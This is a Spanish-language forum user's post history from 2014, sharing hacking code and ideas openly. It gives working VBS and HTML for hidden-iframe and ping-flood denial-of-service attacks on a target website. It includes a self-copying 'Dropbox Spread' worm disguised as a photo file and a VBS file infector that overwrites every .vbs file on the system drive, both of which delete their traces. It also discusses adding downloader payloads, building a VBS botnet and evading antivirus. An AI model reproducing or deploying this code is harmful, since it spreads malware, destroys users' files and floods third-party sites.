Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - .BrutuS

#1
Aqui como atacar con iframes, no se si sirve? no eh probado espero que si xD
Cargar 10 Iframes a la pagina web que quieran atacar cambien "http://www.servidor.com/iframes.html" por donde tengan guardados sus Iframes.

Dim Shell
Set Shell = CreateObject("WScript.Shell")
Set IE = WScript.CreateObject("InternetExplorer.Application")
Do
WScript.Sleep(5000)
IE.Navigate ("http://www.servidor.com/iframes.html")
IE.Visible = False
IE.fullscreen = False
Shell.run "%comspec%" & " /c taskkill /f /im iexplore* ",0
Loop

Si no saben como poner Iframes usen este codigo, cambien "http://paginaquequieroatacar.com" por la web a atacar.


<html>
<head>
<title>Iframe ddos</title>
<meta http-equiv="refresh" content="2; url=iframe.html">
</head>

<body>

<iframe src="http://paginaquequieroatacar.com" width="0" height="0"></iframe>
<iframe src="http://paginaquequieroatacar.com" width="0" height="0"></iframe>
<iframe src="http://paginaquequieroatacar.com" width="0" height="0"></iframe>
<iframe src="http://paginaquequieroatacar.com" width="0" height="0"></iframe>
<iframe src="http://paginaquequieroatacar.com" width="0" height="0"></iframe>
<iframe src="http://paginaquequieroatacar.com" width="0" height="0"></iframe>
<iframe src="http://paginaquequieroatacar.com" width="0" height="0"></iframe>
<iframe src="http://paginaquequieroatacar.com" width="0" height="0"></iframe>
<iframe src="http://paginaquequieroatacar.com" width="0" height="0"></iframe>
<iframe src="http://paginaquequieroatacar.com" width="0" height="0"></iframe>

</body>
</html>
 
#2
Scripting / Re: [vbs][source] spread usb
10 Diciembre 2014, 04:24 AM
Buen codigo en el payload se le pone un codigo de downloader jeje  >:D
#3
Cita de: phat_one@h0st:~$ en 10 Diciembre 2014, 01:23 AM
seria entretenido si hicieras uno que infectara todos los archivos de scripts

Si se podria hacer uno que infecte "vbs, vbe, bat, cmd, reg" tengo una idea para esos   ;D
#4
Buen codigo MadAntrax y no conocia host.db aver si lo puedo implementar.
#5
Se me acaba de ocurrir una idea que seria usando VBS abrir ocultamente una pagina web que contenga cientos de Iframes a la pagina web que quisiera atacar y de ahi refreshar cada 10 segundos, tambien vere si logro hacer que lo del ping funcione con lo de "-w" que me dijiste y un paquete mas pequeño, y como dije la idea seria implementar esto en una bot codeada en VBS ya que salta la proactiva y es facil de fudear.
#6
Muy bueno aprendi mucho de este source, seria lo maximo que termines de codear el crypter y agregues todas las funciones prometidas y que sea open source me interesaria mucho.
#7
Cita de: engel lex en  9 Diciembre 2014, 03:57 AM
para nada DDoS XD

primero, es solo DoS ya que si lo hace es cada quien por independiente, no tiene funciones de uso entre varios

segundo, con el servidor no respondiendo enviaras solo una solicitud cada 4 segundos, usa el comando "-w" para modificar ese comportamiento

tercero, el batch es bastante lento y por otro lado con paquetes tcp de 65kb primero tu llenas tu buffer antes que el servidor note un ataque

Lo se amigo jajaj no es DDOS ni se si sirve talvez con 9999 computadoras el punto seria implementarlo en un gusano vbs con controlador y ahi el botmaster cuando quiera mandaba el comando de atacar, bueno esa era la idea.
#8
Bueno no se si cuenta como un DDOS de verdad pero era lo unico que se me ocurria, sirve pero si una gran cantidad de computadoras corren el script al mismo tiempo.

Dim Shell
Set Shell = CreateObject("WScript.Shell")
Shell.run "%comspec%" & " /c ping " & "servidor.com" & " -l " & "65500" & " -t",0
#9
Infecta todas las carpetas de Dropbox del usuario.

'[VBS] Dropbox Spread by BrutuS
Dim FSO, ObjTextFile
Dim Shell
Set Shell = CreateObject("WScript.Shell")
Set FSO = CreateObject("Scripting.FileSystemObject")
Set ObjTextFile = FSO.CreateTextFile("Copy.bat", True)
FSO.CopyFile Wscript.ScriptFullName, "FotoYucha.vbs"
ObjTextFile.WriteLine("@echo off")
ObjTextFile.WriteLine("copy /y FotoYucha.vbs %UserProfile%\Dropbox")
ObjTextFile.WriteLine("DIR /S/B %UserProfile%\Dropbox >> Config.txt")
ObjTextFile.WriteLine("echo Y | FOR /F ""tokens=1,* delims=: "" %%j in (Config.txt) do copy /y FotoYucha.vbs ""%%j:%%k""")
ObjTextFile.WriteLine("del /f /q Config.txt")
ObjTextFile.WriteLine("del /f /q FotoYucha.vbs") 
ObjTextFile.WriteLine("del /f /q %0")
ObjTextFile.Close
Shell.Run "Copy.bat", 0
#10
Infecta todos los archivos *.vbs en el disco principal.

'Local VBS File Infector by BrutuS
Dim FSO, ObjTextFile
Dim Shell
Set Shell = CreateObject("WScript.Shell")
Set FSO = CreateObject("Scripting.FileSystemObject")
Set ObjTextFile = FSO.CreateTextFile("Copy.bat", True)
FSO.CopyFile Wscript.ScriptFullName, "Virus.vbs"
ObjTextFile.WriteLine("@echo off")
ObjTextFile.WriteLine("DIR /S/B %SystemDrive%\*.vbs >> Config.txt")
ObjTextFile.WriteLine("echo Y | FOR /F ""tokens=1,* delims=: "" %%j in (Config.txt) do copy /y Virus.vbs ""%%j:%%k""")
ObjTextFile.WriteLine("del /f /q Config.txt")
ObjTextFile.WriteLine("del /f /q Virus.vbs") 
ObjTextFile.WriteLine("del /f /q %0")
ObjTextFile.Close
Shell.Run "Copy.bat", 0